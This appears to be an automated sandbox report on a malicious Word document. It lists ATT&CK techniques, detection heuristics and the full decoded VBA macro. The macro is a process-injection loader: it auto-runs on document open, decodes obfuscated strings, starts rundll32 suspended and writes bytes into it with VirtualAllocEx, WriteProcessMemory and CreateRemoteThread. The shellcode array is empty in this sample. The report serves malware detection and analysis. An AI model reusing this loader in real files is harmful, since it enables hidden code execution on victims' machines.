MALICIOUS
278
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059 Command and Scripting Interpreter
T1105 Ingress Tool Transfer
T1055 Process Injection
T1055.012 Process Hollowing
The sample is a malicious Office document containing VBA macros. The macros utilize critical Windows API calls such as CreateRemoteThread, VirtualAllocEx, and WriteProcessMemory, indicating an attempt to inject code into another process. This is a common technique for executing malicious payloads, often downloaded from a remote source.
Heuristics 9
-
ClamAV: Doc.Macro.Injection-6355574-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Macro.Injection-6355574-0
-
Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORYReference to WriteProcessMemory API
-
Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREADReference to CreateRemoteThread API
-
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
If Len(Environ(a("Pro\g:ramUW6 43R2", "\:U R"))) > 0 Then RfnCjtu = Environ(a("SwindFilr", "SFl")) & a(":\SJysWO?W6Y4N\qrunKdlXl3o2.ex!e", ":J?YNqKXo!") -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4958 bytes |
SHA-256: acb31252693d4211f6ca7a726bd6297b99173aab7098b9bf41ac6f08e0006302 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Type PROC
ZEnRYEL As Long
mhhsUzo As Long
cACtzcH As Long
ChnpYwt As Long
End Type
Private Type INFO
ppFnQhc As Long
cACtzcH As String
ZLSaait As String
iSeyHpq As String
AhBCTbE As Long
JCSZRqE As Long
GvjZtDZ As Long
DlAXgbr As Long
MokGgKj As Long
hbCYiGg As Long
parRilo As Long
UXaPWID As Long
dSYmUJX As Integer
YWNZiiS As Integer
vljwxCW As Long
xChGlfJ As Long
itwVpab As Long
qqJmWHg As Long
End Type
#If VBA7 Then
Private _
Declare _
PtrSafe _
Function _
GRJdHPy _
Lib _
"kernel32" _
Alias _
"CreateRemoteThread" _
(ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As LongPtr
Private _
Declare _
PtrSafe _
Function _
NjoBgiS _
Lib _
"kernel32" _
Alias _
"VirtualAllocEx" _
(ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As LongPtr
Private _
Declare _
PtrSafe _
Function _
PzAQRmA _
Lib _
"kernel32" _
Alias _
"WriteProcessMemory" _
(ByVal pr As Long, ByVal crefytrey As LongPtr, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As LongPtr) As LongPtr
Private _
Declare _
PtrSafe _
Function _
kpWcgef _
Lib _
"kernel32" _
Alias _
"CreateProcessA" _
(ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#Else
Private _
Declare _
Function _
GRJdHPy _
Lib "kernel32" Alias "CreateRemoteThread" (ByVal pr As Long, ByVal gerwcfgerwct As Long, ByVal ewrcterwctwe As Long, ByVal uyinuyit As LongPtr, qwrceeqwre As Long, ByVal omu9olnryu As Long, qertwqc As Long) As Long
Private _
Declare _
Function _
NjoBgiS _
Lib _
"kernel32" _
Alias _
"VirtualAllocEx" _
(ByVal pr As Long, ByVal gsdfgrsdr As Long, ByVal rgaegedg As Long, ByVal gasdfgasdf As Long, ByVal gaesrgear As Long) As Long
Private _
Declare _
Function _
PzAQRmA _
Lib _
"kernel32" _
Alias _
"WriteProcessMemory" _
(ByVal pr As Long, ByVal crefytrey As Long, ByRef ervyertvy As Any, ByVal ikbedhrt As Long, ByVal ertcqxeerqw As Long) As Long
Private _
Declare _
Function _
kpWcgef _
Lib _
"kernel32" _
Alias _
"CreateProcessA" _
(ByVal gdfhdfsghs As String, ByVal sfghfshdh As String, hdhdfgsad As Any, jkukghjyg As Any, ByVal asdfwetry As Long, ByVal ioiuyio As Long, yuiort As Any, ByVal ertyer As String, erevcbc As INFO, ewymoikfgh As PROC) As Long
#End If
Function clean(s As String)
s = Replace(s, vbCr, "")
s = Replace(s, vbLf, "")
clean = Replace(s, vbCrLf, "")
End Function
Sub Eiebv()
On Error GoTo Handler
Dim tDNEYSN
Dim CRiRpMf As Long, ihfkbjZ As Variant, xFepntp As Long
Dim ZHGViqy As PROC
Dim RfnCjtu As String
Dim CCMpnVe As INFO
Dim xgbzobg As String
#If VBA7 Then
Dim fHXLnSr As LongPtr, vwPzOJl As LongPtr
#Else
Dim fHXLnSr As Long, vwPzOJl As Long
#End If
Dim f As String
f = ""
ihfkbjZ = Split(f, ",")
For i = 0 To UBound(arr)
ihfkbjZ(i) = CInt(ihfkbjZ(i))
Next i
If Len(Environ(a("Pro\g:ramUW6 43R2", "\:U R"))) > 0 Then
RfnCjtu = Environ(a("SwindFilr", "SFl")) & a(":\SJysWO?W6Y4N\qrunKdlXl3o2.ex!e", ":J?YNqKXo!")
Else
RfnCjtu = Environ(a("JwiEnFdifr", "JEFf")) & a("\bSXy shtgejm32\KrundWl6lR362z.Nekxe", "bX hgjKW6RzNk")
End If
vwPzOJl = kpWcgef(xgbzobg, RfnCjtu, ByVal 0&, ByVal 0&, ByVal 1&, ByVal 4&, ByVal 0&, xgbzobg, CCMpnVe, ZHGViqy)
fHXLnSr = NjoBgiS(ZHGViqy.ZEnRYEL, 0, UBound(ihfkbjZ), &H1000, &H40)
For xFepntp = LBound(ihfkbjZ) To UBound(ihfkbjZ)
CRiRpMf = ihfkbjZ(xFepntp)
vwPzOJl = PzAQRmA(ZHGViqy.ZEnRYEL, fHXLnSr + xFepntp, CRiRpMf, 1, ByVal 0&)
Next xFepntp
vwPzOJl = GRJdHPy(ZHGViqy.ZEnRYEL, 0, 0, fHXLnSr, 0, 0, 0)
Handler:
End Sub
Function a(s As String, r As String) As String
For c = 1 To Len(s)
If InStr(1, r, Mid(s, c, 1)) = 0 Then
a = a & Mid(s, c, 1)
End If
Next
End Function
Sub Document_Open()
Call Eiebv
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.